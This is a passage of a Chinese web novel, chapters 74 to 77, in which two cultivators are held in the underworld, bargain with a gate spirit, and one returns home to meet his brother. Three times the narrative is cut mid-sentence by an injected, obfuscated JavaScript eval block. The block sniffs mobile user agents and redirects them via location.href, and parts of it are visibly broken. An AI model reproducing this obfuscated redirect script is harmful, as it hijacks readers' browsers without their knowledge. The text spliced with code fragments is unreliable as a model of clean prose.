河岸两侧的街道挤挤挨挨全都是……鬼。各式各样的鬼,有的身形扭曲、面容可怖,有的五官端正和看着和活人没什么区别。 有的是有修为的鬼修,绝大部分确实忙着赶路、投胎的魂魄。 河西岸沿街的商家熙熙攘攘,还有卖吃食、用品的摊贩,热闹得像是尘世。 老皮挤了挤眉,牙齿上下摩擦发出令人汗毛耸立的声音。 有意思,居然是两个活人。 他很确定往生河里站着的两个“小鬼”身上有活气,即使那丝活气被往生河的血腥味盖住不少。 “大家伙快瞧,”老皮抖了抖面皮,大声喊着,“往生河今天来了两个活人!” “哈哈哈哈哈老皮脸你是不是疯了,冥界怎么会有活人?我看你是想投胎了!”看热闹不嫌事大的鬼修站在拱桥上拍了拍石墩。 西岸买粥的鬼修撇嘴道:“你这么说老皮,他臊得皮掉了怎么办?你难不成要捏绣花针给他缝上?” “呸呸呸,谁他大爷的给他缝脸皮!你这么爱缝,给我缝个假鸡儿算了!” “忒不要脸!你修了这么多年还是个小鬼,和你下三路脱不了关系。” “……” 姜洛玉看了看丛明雪,又看了看河岸上的众鬼。 “咱们两个……没死吗?”他稍显忐忑道。 丛明雪:“……” 他也在思考。 一界有一界的“法则”,冥界不可忤逆的法则就有“活人不得入内”这一条。 他们顺着往生河流向天堑,抱着必死的决心。 到时候就算他们真的没办法以活人姿态回到修真界,也能投胎到修真界再续前缘,离昼他们也能通过迦南月寻到他们的踪迹。 可如今…… 丛明雪握了握拳,精纯的灵力在经脉内流动。 姜洛玉同样也察觉到身体上的“正常”,眼看着拱桥与河岸围观的鬼越来越多,每个鬼脸上都带着扭曲、愤怒、嫉妒的表情。 活人,本来就不该存在于冥界的东西。 这些早就靠死亡麻痹自己的鬼魂,又怎能忍受如此鲜活的气息? “退下。” 阴寒至极,又毫无起伏的男声回荡在往生河畔。 姜洛玉恍惚间以为自己听到了什么机器人在说话。不过声音主人的话很管用,岸上那些鬼听见之后全都吓得和鹌鹑一样,如鸟兽散去。 “哒、哒。” 清晰的脚步声自拱桥上响起,姜洛玉若有所感,抬起脑袋向左看去。 “时川?!” 桥上玄色冕服、剑眉星目的俊美男人,分明是九皇子记忆里的庄稼汉子! “客人,请注意称呼。”男人身后钻出个书生长相的青年。 宇儒一顿,迅速接好断掉的喉咙,继续道:“这位是我们的冥界之主——冥主幽篁。” 74.穿越第七十四天 冥主,一个只存在于传说里的称呼。 冥界独立于六界之外,寻常人无法窥探其中一草一木。也就导致六界关于冥界的消息极少,通常都是以志怪话本、鬼怪传说的方式出现。 姜洛玉也曾问去过冥界的垢姬,里面到底是一番什么样的光景。 垢姬没说太多,不过倒是用寥寥数语描述了冥界的景象——“灰瓦青灯,万鬼夜行。” 如今看来不假,可这冥主怎么会是……冥主还需要渡劫吗??? 拱桥上正准备去投胎的魂魄被冥主身上的鬼气逼得退到了另一侧,一个叠一个,紧紧靠在骨桥的围栏上,低着头蜗速前行,不敢发出一丝声响。 丛明雪不动声色地牵住了姜洛玉的手。本体分身融合后记忆也一并回归,那时姜洛玉借助天材地宝蒙蔽天道说了九皇子渡劫的事情,丛明雪自然知道“时川”是谁。 微妙的感觉升起,姜洛玉暗骂一声,他怎么直接叫了冥主渡劫时的名字?! 《太一万法无相诀》的限制是不能从他嘴里让第三个人知道记忆里发生的事,说了就要遭雷劈。 但现在雷声未起,姜洛玉又怀疑对面的人不是“时川”。 “此界与天道联系甚微。”幽时川甩了甩袖子,将两人转移到河岸上,又祛除了两人身上往生河水。 “随我回幽冥宫。” 满腹疑惑还未道出,姜洛玉眼前一黑,再睁眼就出现在了华贵异常的寝殿里。 华贵说的是寝殿的材质,至于风格……说是鬼屋都没问题,姜洛玉实在不敢苟同。 对面站着一排死状各异的鬼仆,男女老少一应俱全。 宇儒从鬼仆堆里走出,行礼道:“请二位暂住在此处,等冥主忙完,自会接待二位。” “至于这些鬼仆,您二位挑几个顺眼的留下便好。他们会负责两位日常生活起居,或是在这万鬼城里吃喝玩乐。” “有什么想要的东西也请尽管吩咐他们,他们拿不准的会来问我。” 姜洛玉:“你是……?” 宇儒再次接上喉管:“我是幽冥宫的大管事——鬼王宇儒。” “我能问你几个问题吗?”姜洛玉试探道。 宇儒:“贵客莫怪,在下还有要事在身,您二位可先行挑选下人。” 姜洛玉和丛明雪交换了个眼神,最终在一堆下人里选了个眉目端正、就是有些坡脚的少年。 少年名为顾辽,死之前是个散修,死之后执念难消,就留在了冥界当鬼修。 如今鬼龄已经一千八百岁了,依旧是个小鬼,只能在冥殿当个下人打打杂。 顾辽不安地站在黑玉铺就的地面,偷瞟对面表情严肃的白发男人和黑发青年——很少看见死状这么正常的鬼了。 宇儒大人来之前说了,若是留下,一定要好好伺候两位贵客。 可这“贵客”怎么不说话啊! “有头绪吗?”姜洛玉板着脸和丛明雪传音。 丛明雪:“没有。” 姜洛玉:“他会是那大管事派来监视我们的吗?” 丛明雪:“极有可能。” 不过人在屋檐下,姜洛玉清了清嗓子,率先开口:“你叫什么?” 顾辽立马行礼道:“小鬼顾辽,见过两位贵客。” 姜洛玉:“你说你是……小鬼?这是什么说法?” 顾辽:“这是冥界鬼修的境界称呼。” 姜洛玉了然,换了个舒服的姿势坐着:“你把冥界的基本情况都和我们说一遍,无论境界划分还是城池多少,最好事无巨细。” 顾辽不敢耽搁,也没什么不能讲的,劈里啪啦倒豆子般说了一遍。 冥界里的鬼修境界自成体系,划分为小鬼、兵鬼、鬼将、鬼王。 具体实力按照其他六界划分,相当于合体之下皆为小鬼,大乘到天仙为兵鬼,真仙到玄仙为鬼将,仙君就是鬼王,冥主等于仙帝。 每个境界水准横跨范围之大,让姜洛玉叹为观止。 并且冥界地广无垠,只有一座城池,也就是他们所在的“万鬼城”。 这里居住着数量庞大无法统计的魂魄,每时每刻都有其他六界的魂魄进入,或留下、或投胎。 七十八鬼王各司其职,管理着每一条往生河的魂魄入口。并且每个停留在冥界的魂魄,都能被冥主感知。 冥界看似破败混乱,又乱中有序。他们刚见过的往生桥就是万鬼城最西方的投胎点,另外还有三座往生桥则是在其他三个方向上。 说完后,顾辽依旧站在原地等待两人吩咐。 “你先下去吧。”姜洛玉晃了晃手里顾辽的鬼铃,“有需要会叫你上来的。” 顾辽“是”了一声,忙不迭退了下去。 手里的鬼铃精致小巧,若是用灵力催动,即能使物主察觉。 寝殿几乎通体漆黑。门窗、烛台、纱幔、软床……这些东西也都颜色暗沉,空气里还飘着似有若无的血腥味。 姜洛玉靠在藤椅上怀疑人生,一抬头对上穹顶装饰性、散发诡异红光的人眼,坐直身子又瞥见了墙脚烛台的人指灯芯,绝望闭眼。 “我们……被冥主俘虏了?” 丛明雪:“应是如此。” 当时在阴阳殿,他可以肯定法术马上就能成功,是一股阴寒至极的灵力打断了法术,也将他带到了分身旁边。 那股阴冷的灵力,与冥主身上的鬼气如出一辙。 姜洛玉:“那我们现在能做什么?” —— 东往生桥,桥头处。 “唉你们听说没,冥界来了两个活人!” 三耳一边忙活着手里的阳春面,一边故作神秘,老实憨厚的脸上无端透出几分精明。 生活在冥界的鬼修,或是不愿投胎的魂魄,都不会用真名示人,而是取一个和尘世不相干的代号。 就如“三耳”,他起这个名字是因为成了鬼修后,脖子上多了只耳朵。说话间那第三只耳还在上下乱动,马上就要破体而出一般。 面摊上的食客闻言反应各异。 老皮抹了把欲掉未掉的面皮,“切”了一声:“你这消息也太不灵通了,那都是半月之前的事了。那两个还是老皮我捞上来的!” “吁——我要说的又不只是这个。”三耳拉长了声调,“那两位啊,可是冥主的‘贵客’。” “如今正满万鬼城乱窜,戏弄鬼呢!” “我听说了!”狗头马嘴食客一拍桌子,“其中一个是不是……” “谁允许你们妄议贵客的?” 冰冷、不带丝毫感情的男声响起,随即而来是浩如潮水的鬼气。 三耳腿一软,直接连鬼带面蹲坐在地上,恨不得把嘴剜下去。 狗头马嘴的食客也摸不准,僵在椅子上不敢动作。 冥主对他们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089535|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群小鬼来说是不可直视的。 “不过当着正主的面说,是不是不太好?”姜洛玉吹了吹手里能吐出鬼气的不灭青灯,顶着幽时川的壳子露出计谋得逞的笑。 他身后的“宇儒”——易容后的丛明雪,见状默默往木桌上扔了几张纸钱,道:“两碗阳春面。” 三耳叫苦不迭,连忙起身开始煮面。 今天兴许是惹怒了霉神,碰上这两个煞星! 这两位冥主的活人“贵客”,也不知是发了什么疯,这些日子打着冥主和幽冥宫大管事的外表在万鬼城内招摇。 什么戏弄小鬼、劝鬼投胎、修缮建筑、整顿街道……全都让他们做了个遍。 只要有人敢反驳,黑发黑眼、噙着笑的那个就会拿出冥主的令牌,说自己可是经过准许才敢这么做的。 底下的小鬼、兵鬼敢怒不敢言。一是因为他们有的修为比那两个活人要低,压根看不出——来的究竟是冥主真身还是“冒牌货”,只能兢兢业业对待。 要知道鬼修直视冥主,可是要折损修为的! 二则是因为有鬼去找幽冥宫大管事反应情况,得来的答案和那人的话没有丝毫差别。 几乎从来不曾管过“鬼城”的冥主,允许了他的“贵客”整顿冥界……没有鬼知道为什么,也不敢乱猜乱说。 三耳下好两碗阳春面,又在碗里一人加了个荷包蛋,稳住身子端了上去。 此时的两个“煞星”,已经变回了本貌。 三耳不敢多看,放下面后抬腿就跑。 姜洛玉:“……” 他们有这么吓人吗? 姜洛玉搅动了一下面条,捞上来一只活蹦乱跳的耳朵。 姜洛玉:“……” “啊啊啊贵客恕罪!”三耳捂着脖子飞奔过来,急得脸上渗出血珠。 “这耳朵是趁我舀面汤的时候跳进碗里的,另一碗是能吃,马上给贵客换一碗!!!” 面碗和筷子被拿走,姜洛玉叹了口气。 “先吃我的。” 丛明雪把自己的阳春面推了过去,又拿着筷子将上面未挑尽的葱花一点一点挑完。 “噗嗤——” 姜洛玉没忍住,接过丛明雪的筷子笑道:“没想冥主还挺能忍。” 他们这半月来,打着冥主的旗号四处游荡,本来是想逼得冥主不堪其扰召见他们。后来就变成了忙里偷闲散心,顺便改造一下万鬼城脏乱差的环境。 虽说冥界景色一般,放眼望去什么都是灰扑扑的,还有个永远不会落下的太阳,但在“吃”这方面,倒是给了姜洛玉一个惊喜。 不仅样式繁多,还结合了冥界众鬼的喜好开发出了不少新品。 而且食物的原材料都是灵气,就算样子可怖,吃了也不会产生什么负担。 丛明雪:“冥主身上联系着万千魂魄,时至今日还能正常沟通已是奇迹。” 姜洛玉咽下面条,嘟囔了一声“也对”。 换做其他人,能感受到那么多杂念早就疯了。 “就是不知道——” 穿着白球鞋和运动服的少女突兀出现,像是误入墨水的白点。 姜洛玉震惊得无以复加,筷子落在地面碎成了灵气。 怎么会…… 少女揉了揉眼睛,被周围的狰狞恶鬼吓了一跳。无措间看见难得正常的两人,直接跑了过去。 “救命!” 75.穿越第七十五天 腥风擦着耳尖飞过,明夏腿一软,眼看着就要和大地亲密接触—— 不疼? 明夏睁开眼,发现自己浮在半空,扑向她的恶鬼痛苦地蜷缩在地面。 而对面救下她的古装青年,还有他身边银发青眼的男人,正用一种奇异的目光打量自己。 特别是那个青年,他的目光灼热到明夏怀疑自己脸上写了什么奇葩的东西。 “北市梧桐高级中学?” “诶?”明夏混乱的大脑清醒不少,“你怎么知道我在哪儿上学?” 姜洛玉收起灵力,把女孩儿轻轻放在地面,语气怀恋。 “因为,我就是从那儿毕业的。” 毕业这个词对现在的他来说恍若隔世。 其实真的隔了好几辈子,久到他关于现世的记忆有的模糊不清。 记得最清楚的,是家人的脸。 他示意明夏坐到他对面的长椅上,继续道:“我认得你身上的校服。” 明夏挠挠头:“啊?那你、那你知道我为什么在这儿么?我刚还在上体育课,结果一睁眼就到这儿了。” 她这个人从小到大别的不说,看人的眼光还是准的。 比起周围虎视眈眈,看着她流口水的鬼怪,对面的青年让她察觉不到丝毫危险。 至于那个银发男人……明夏不太敢看他,那种完美又奇特的非人感让她寒毛倒立。 “你快死了。”姜洛玉打出一道灵力护住明夏的魂魄,“你现在是生魂离体,如果不快些回到身体里,等到肉身一死,你就只能去投胎。” 明夏脑子“嗡”得一声,强装的镇定也演不下去了,眼泪噼里啪啦地往下掉:“开什么玩笑,这是梦吧?我新买的漫画书还没拆封,豆豆还在等我回家……” “我妈还没从国外旅行回来给我带签名照啊……” “咕噜”,少女的肚子发出一声闷响。 姜洛玉:“……” 他无奈笑了一声,回头道:“老板,再来一碗阳春面。” 三耳忙不迭点头,手脚麻利地把新做好的面端到了明夏面前,又回到炉灶前继续用灵力凝聚面条下入沸水里。 明夏怀疑道:“吃了不会留在这儿吧?” 姜洛玉:“会。” 明夏瞬间泪眼婆娑,顿感人间无情。 姜洛玉:“骗你的。” 明夏:“……” 姜洛玉把自己那碗推回给丛明雪,拿了明夏面前的阳春面自顾自吃了起来。 面汤的香气飘进鼻子,明夏咽了咽口水,莫名有种这面堪比珍馐的想法。 眼看着又一碗阳春面上桌,明夏心一横,拿起筷子吃了一口。 太好吃了!不仅面条筋道爽滑,面汤还带着淡淡的乳香,没有一丝异味,鲜得她连舌头都要吞下去了。 丛明雪看了几眼明夏的衣服,传音道:“北市梧桐高级中学……在你去过的异世?” 姜洛玉吃面的手一顿,回应了丛明雪的传音:“没错。” 丛明雪:“异世生魂出现,冥主不可能不知道。” 姜洛玉:“我……” 他不知道该说什么,只好戳着碗里的面汤,等着明夏吃完。 “别怕。”丛明雪搭上姜洛玉的左手,缓缓十指相握,“无论你想做什么,我都会陪在你身边。” 就算是异世,他也照去不误。 明夏:“噗——咳咳咳……” 古代鬼这么开放吗?不对,好像古人一直都挺放得开的。 明夏还想再看两眼,莫名脑袋一晕,栽倒在木桌上。 宇儒凝实身体,抖落肩膀上的纸钱,打算将晕过去的明夏收到魂袋里。 “慢着。” 姜洛玉起身拦下宇儒,微笑按着他的肩膀,道:“我与这生魂一见如故,不知管事想带她去哪?” 宇儒:“自然是她该去的地方。” 姜洛玉力道加重,继续道:“真的?你敢不敢发……差点忘了,冥界不兴天道誓言。” “所以,你愿意用你的鬼核发誓吗?” 鬼核就是冥界鬼修的“元婴”,金丹对应的叫“鬼丹”。由于冥界和天道联系微弱,发誓之类的还是用鬼核这类根本所在保险些。 宇儒眉心跳了跳,猜到些什么,肩胛骨响了两声,道:“贵客说笑,在下岂敢欺瞒贵客?” 说完毫不犹豫地用鬼核发誓了一遍。 “我要见冥主。”姜洛玉这才放开宇儒。 宇儒:“冥主在闭关,请贵客再稍等一些日子。” “等等等,我都等了半个月了!”姜洛玉气急,突然出现的异世之魂让他再也冷静不下来。 这半个月他不是没去求见过冥主,可每次都被挡在门外。 “若不是他,我现在应该待在修真界,而不是这么个鬼气熏天的破地方!” 他用灵力一把托起晕过去的明夏,飞身而起:“冥主不见我,我自己去见他!” 什么“闭关”都是托词,垢姬与他说过,冥主与天地同寿,更不用修炼。 丛明雪看了宇儒一眼,也紧随其后。 空中响起一声叹息。 “过来吧。” 姜洛玉听见冥主沙哑的声线,停滞一瞬,咬了咬牙继续朝冥宫赶去。 不多时,两人来到镶嵌着无数人面的宫殿大门前。 两侧的兵鬼迅速开门,露出殿内长长的御道。 殿内光线暗沉,每踩一步,就有或惨白、或干枯的手从漆黑地面伸出,急切地想要抓住两人的脚腕。 高台宝座上,坐着半月未见的……冥主。 冥主的模样变了不少,那日的他还是个肤色苍白的“人”,现在则变成了带着狰狞鬼相的“恶鬼”。 左半张脸裸露着白骨,眼球悬浮在眼眶里,黑发的发尾燃烧着幽蓝磷火,同样漆黑的指甲也长了约莫一寸。 幽时川闭了闭眼,道:“你与垢姬的性子,倒是有几分相似。” 姜洛玉耐着性子行礼,道:“冥主,先别说像不像。你把我们拘在冥界到底是想做什么?” “只是一件小事,这些日子不见你,是因为要将它取出来。”幽时川抬手抚上心口,五指用力向内刺去。 姜洛玉被这架势吓了一跳,丛明雪也同样猜不透幽时川这么做的目的。 直到半枚亮晶晶的珠子从他胸口飞出。 “龙珠?”姜洛玉惊讶道。 多亏了辰欢,他现在对龙族的气息十分熟悉。几乎可以直接确定——这就是九皇子丢失的那半枚! 幽时川脸色又白了一个度,还有些发灰,将掌心的珠子推了过去。 “我请你过来,是为了让你帮我了却一桩因果。作为报答,我会满足你一个愿望。” 姜洛玉捧着龙珠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092860|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“你是要救九、元启?” 幽时川:“是。他本不该同我有牵扯,是我的分魂扰乱了他渡劫的命数,理当救他。” 姜洛玉:“什么愿望都能满足吗?” 幽时川点头。 姜洛玉将身后飘在半空的明夏推了出来,道:“我想去她所在的异世。” 幽时川眼眶里飘出跳动的火苗,看清少女的样子后,他没有立即应下。 “可能不行。”他熄灭了身上的火焰,“异世之门十万年一启,连接三千世界,偶有异世之魂踏错路到了冥界,还需要迅速将其送回来时的世界。” “虽然此界魂魄进去,亦能轻松折返。但活人进去会怎样,又会到达何处,却是不知道的。” 姜洛玉燃起的希望灭了一半儿,又问:“那如果我不仅想去,还想……带人过来呢?” 幽时川见姜洛玉如此坚持,轻叹一声,说了句“稍等”。闭上眼,控制神识飘荡到异世之门前。 异世之门处在虚空里,自成一界。 足有十几丈高的白色光门下,一坨软乎乎的、黏糕状的东西在神识地注视下滚了滚。 “门灵。” “叽咕?” 软乎乎的东西飞起,围着神识转了转。 幽时川:“若是有活人想去往异世,可能成功?去了,若是想要从异世带人过来,是否可行?” “叽咕?叽咕叽咕!咕噜咕……” 圆滚滚的门灵先是迷茫地叫了两声,又开始激动地上下乱窜,最后“吧唧”一下摔在地上,滚来滚去似乎在思考什么,最后模拟出五根手指晃了晃。 幽时川收回神识,对着下面的姜洛玉同样竖起五根手指,道:“门灵说,活人亦可进入,目的地不定。想要从异世带人过来,只要你能拿出五个它喜欢的天材地宝,人数每超一个就再加上一个,它就能让那些人被天道承认。” 姜洛玉:“……?” 丛明雪:“……” “五个?”姜洛玉不敢相信,“你确定不是五十个、五百个?” 青年的声音太过震惊,听得幽时川撑着脑袋回忆了一下门灵的话。 “你去告诉那个人,我要五个天材地宝,只许多不许少!” 他点头道:“确实如此。你们这些天难不成没发现,冥界没有天材地宝存在吗?” 姜洛玉:“我们……的确没发现。” 他还以为山上树上那些黑漆漆的东西是鬼修用的特殊天材地宝来着,谁又能想到冥界居然没有。 幽时川轻笑道:“那门灵诞生在冥界,本质上是个天地灵物,对同样是天材地宝喜欢得不得了。” “我很久之前偶然得了个天材地宝给它送了过去,它就一直恋恋不忘。” “所以,这个条件你能负担起吗?若是不能,你可以换一个愿望。” 他从对面两人身上并未发现芥子之类的东西,想来也不会有天材地宝。 姜洛玉嘴角根本压不住笑,他一个秘境化身,缺什么都不会缺“天材地宝”。 就算三清秘境暂时封闭,单方面拿些东西出来还是可行的。 不过……真的要回去吗? 就算真的回去了,要带他们过来吗? 姜洛玉脑中浮现出有关姜家的一切——从第一次踏进姜家大门,一直到穿越的那个早晨。 “我现在就要去见门灵。” 76.穿越第七十六天 异世之门所在的地方除了光门,其他什么也没有。 这种堪称“逆天”存在、又顺应三千世界而诞生的东西,被天道塞在了与六界相隔的冥界。 所以能进来的人,除了他界偶尔闯进来的孤魂野鬼,也就只有冥主和手持冥主令牌的宇儒。 门灵趴在地面滚了滚,看着又一道异世之魂飘了出来。这次的是个穿着长裙的妖修……不对,那个世界叫精灵。 精灵眨眼消失不见。 门灵又滚了滚。 它本来的职责只有开门关门这一个,其它的管不来。不过昨天冥主过来问它允不允许活人进去,再从异世带人回来,门灵才很认真的想了想。 能的。 之前不能,那是因为从来没有活人问过。 它可是天上地下独一份儿“异世之门”,只要来的那个活人能给它想要的东西,这点小动作不在话下! “门灵?” 青年干净的声音传进了门灵的耳朵,它矜持地趴在地上没有望过去。 姜洛玉见地上软乎乎的小东西不搭理自己,忍不住蹲下去,从三清秘境里掏出来个鸡蛋大小的万灵天乳石髓来。 门灵嗅到石髓浓郁的香气,还有作为天材地宝独特的气息。 是它想要的!比冥主几千年前给它的那颗桃子味道还香! 手上一空,听见门灵“吧唧吧唧”吃东西的声音,姜洛玉摸了摸它的身体。 滑溜溜的,像果冻,又没有黏腻之感。 “叽咕叽咕?” 幽时川将少女生魂送进光门的动作一顿,翻译道:“它在问另外的天材地宝。你把东西拿出来交给它,能进去了。” 丛明雪若有所思,蹲下身子,也戳了戳门灵的身体。 门灵上下跳了跳,活像个汤圆成精:“叽咕?咕噜!咕咕噜……” 幽时川:“它说若是进去两个人,天材地宝要翻倍。” “贪心鬼。”姜洛玉轻笑两下,一把捧住上下乱窜的门灵,把它当面团似的揉了揉。 小山似的天材地宝“哗啦”一下出现,堆积在门灵旁边的空地上。 门灵:“……!” 好多,好喜欢! 它激动地看着把自己捧在怀里的活人,忍不住扑到他脸上蹭了蹭,叽里咕噜说了一堆。 姜洛玉:“……?” 幽时川挑了挑眉,门灵的话在他意料之内:“它很喜欢你送的东西,决定等你回来认你为主。” 姜洛玉:“……?” 开玩笑吧,守门的门灵能离开门? “理论上是可行的。这类诞生于门的守护灵,有一次认主的机会。”丛明雪捧住要跳到他身上门灵,“认主之后,门灵只需要按时开关门,便可跟在主人身边游历。” “不过异世之门过于惊世骇俗,我也不知认主能否成功。” 门灵闻言幻化出细长的小手拍了拍胸脯:“咕叽咕叽!” 能的能的! 这两个活人身上有这么多天材地宝,跟在他们身边肯定不愁吃喝! 姜洛玉拎起门灵放在天材地宝上,揉了揉它的脑袋:“那你乖乖等我们回来。” 门灵点点头,美滋滋地一头扎进去。 “拿好这个。”幽时川扔过去一对白玉镯,严肃道,“一旦手镯碎裂,你们在异界必须三天之内呼唤门灵回到此界。” “否则一旦异世之门关闭,你们就再也回不来了。” 两人将白玉镯带好,十指相握,走进了光门。 —— 北市,日暮西沉。 姜家别墅,比起往年的热闹,这两年别墅稍显冷清,就连下人也少了不少。 姜林飞坐在一楼的会客厅。头顶结合了巴洛克曲线和洛可可风格的华丽吊灯尽职尽责地散发着光亮。 他一手制止着非要趴在自己身上的哈士奇,另一只手打开手机看了一眼。 八月二十七。 姜洛玉已经失踪两年了。 就像是人间蒸发一样,明明别墅里的监控全都完好无损,可没有一个记录到他的影子。 调查走访周边别墅的监控也没发现任何有用的东西。 警方说不排除姜洛玉是自己出门,特意挑选了监控死角。 但姜家所有人都坚持姜洛玉是出了事。 没道理平日里又乖又听话……这个待议,反正以姜洛玉的性子不会一声不吭地玩失踪,手机、钱包、证件都没带走。 警察之后又怀疑是仇家绑架,毕竟姜家在商场上树敌不少。 等了几天不见有人索要赎金,或是发来撕票的消息,又回到“姜洛玉自行出走”这个假设上。 可惜查来查去,查到最后依旧没查出来任何东西。 一人大活人就这么悄无声息的消失在世上。除了他用过的东西,没留下一点痕迹。 两年过去,他们还是无法接受这个事实。 王妈离得老远都能看见姜林飞难看的脸色,犹豫再三,还是走过去开口:“二少爷,今天老爷和夫人都不回来,大少爷和大小姐也在公司加班,您呢?” 姜林飞捋了一把寸头,乌亮的眸子配上那张痞帅的脸,让王妈想起他在新剧里演的少年将军。 “我也出去吃。钢炮一会儿有人上门来遛,记得把它最喜欢的玩偶带上。”姜林飞撸了吧哈士奇的狗头。 钢炮摇着尾巴,眨了眨蓝眼睛:“嗷呜?” 见自家主人长腿一迈就要走,钢炮激动地跑过去抱住姜林飞的腿,“嗷呜嗷呜”开始大叫。 “祖宗我求你别叫了……”姜林飞痛苦捂脸,不知道为什么当初喝多了脑子一抽,非要从宠物店抱回来个纯种哈士奇。 钢炮头上的三把火,看得他也跟着火大。 最终姜林飞和王妈、再加上恰好路过的管家,费了九牛二虎之力才把狗关进笼子。 钢炮耷拉着尾巴发出委屈低吼。 “你们今天提前下班吧,我一会儿亲自遛狗。”姜林飞磨了磨牙,他就不信今天不能把钢炮遛趴下。 王妈和管家应了一声,无视钢炮的大呼小叫回了各自的卧室。 晚十点,姜林飞拖着酸痛的双腿打开家门,把累得叫不出声的钢炮拽进来,喂水喂食后关进笼子。 回到三楼洗漱完毕,姜林飞瘫在沙发上双眼放空。 卧室的灯很亮,照得就连当年故作深沉要的黑白风格装修都亮堂不少。 他也不知道自己今天为什么回来,还打算多待几天。 去年的这个时候,明明他也和大哥他们一样在外面逃避现实…… “噗通——” 闷响从隔壁传来。 姜林飞一下坐直身子——隔壁是姜洛玉的卧室! 那地方自从确认姜洛玉失踪,就被锁了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097844|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么可能大半夜发出这么大动静? 姜林飞皱着眉,从展示柜里拿出棒球棍,轻手轻脚地开门。 走廊除了暗沉的壁灯,什么也没有。 不……那间尘封许久的卧室,敞开了一条门缝。 白光透过卧室照射到花纹密布的地毯上。 姜林飞的心脏开始剧烈跳动,握着球棒的手冒出冷汗,深吸一口气,猛地推开房门—— “二哥?别打,是我啊!” 二哥?!! 看见那双熟悉的桃花眼,姜林飞“艹”了一声,挥出去的球棒来不及收回,结结实实砸在了……一个白毛男人胳膊上。 球棒应声而断。 “见鬼了……”姜林飞拿着剩下的半截球棒不知所措,站在原地看看姜洛玉,又看看丛明雪。 两年不见的弟弟不仅留了长发,还穿着一身乱七八糟能闪瞎他眼睛的古装,更别提旁边还站着个白毛绿眼的男人。 直觉让他看这个男人很不爽。 姜洛玉都没想到自己真能回到现世——冥主说这个传送是随机的。更别提一回来就碰上了自家二哥。 姜家算上他一共六个人,除了他不出去旅行时就宅在家里画商稿,每个人都很忙。 姜父姜景安,目前依旧在任公司董事长,为公司发展殚精竭虑。 姜母林朝盈,作为三金影后,自从孩子懂事重心就放回荧幕前,各个剧组到处跑。 大哥姜林廷,在外开设了独属于自己的公司,处于事业上升状态。 大姐姜林琬,跟在姜父身边学习如何管理姜家的公司,做一个合格的继承人。 二哥姜林飞,娱乐圈当红炸子鸡,选秀出道,出道即巅峰,转型演员后几乎全年不着家。 休息的时候也不会回姜家别墅,而是住在自己的平层。 “啪——” 姜林飞扔掉球棒,给了自己一巴掌。 很疼,不是做梦。 姜洛玉抓住姜林飞的手,急道:“二哥你听我说!不对……” “你先听我说。”姜林飞碰到姜洛玉冰凉的手,忍不住眼前一黑,“你先告诉哥,你是人是鬼。” 姜洛玉:“……” 三钟后。 姜林飞靠在做旧风的布艺沙发上,摸出兜里的烟,刚想点上发现没带火。 清脆响指过后,香烟燃起缕缕白烟。 他愣了一下,看向刚才打了一声招呼就沉默不语的白发男人。 “艹……”姜林飞又骂了一声,叼上了烟嘴。 烟消失了。 姜洛玉徒手掐灭烟头,神色复杂:“二哥,你怎么……学会抽烟了?” “这两年才开始的。”姜林飞碾了碾空荡荡的指腹,锐利的眉眼在灯光下更显凌厉,“别告诉妈,她不知道。” “我们连你被外星人抓走都想了,也没想过你是穿越了……” 还修了个仙。 太扯蛋了,和他喝醉了莫名其妙养了只狗一样。 要不是刚才姜洛玉当场徒手撮火球、冰凌、电流,还变成了他的样子,他是绝对不会信的。 他只会相信眼前的一切是自己黑白颠倒地工作产生的幻觉。 “嗷呜嗷呜!嗷嗷嗷——” 钢炮终于扒开了门,激动不已,浑身沾屎边嚎边冲向人堆。 姜林飞:“蠢狗你别过来啊啊啊!” 77.穿越第七十七天 一阵兵荒马乱,三人这才控制住过于兴奋的狗。 丛明雪知道有一些灵智未开的动物会做出匪夷所思的举动。 但……像面前这种会将五谷轮回之物涂在身上的狗,他真没见过几个。 入门地毯上,半圆的灵气罩扣住了疯狂乱挠的哈士奇,同样隔绝了大部分难以言喻的气味。 丛明雪又看向蹲在灵气罩旁的男人。 寸头,再加上一双锐利的黑眼。肌肉线条流畅,宽松的寝衣盖不住健硕的身材。 最重要的是,这人身上有一层厚厚的信仰之力。 这就是……阿玉的二哥吗? 信仰之力一般只会出现在“神明”身上。但他也看不出姜林飞身上有什么神明信物,那信仰之力又从何而来? 天花板的白炽灯散发着柔和的光亮,丛明雪眸光微动——果真是只有亲身体会,才能窥见异世的奥妙。 姜洛玉站在灵气罩外揉了揉太阳穴,复杂的心情都被“飞来横祸”给冲击没了,欲言又止。 “二哥……”他指了指里面的狗,“你虐待它了吗?它要这么报复你?” 姜林飞:“……” 不是他,他没有。 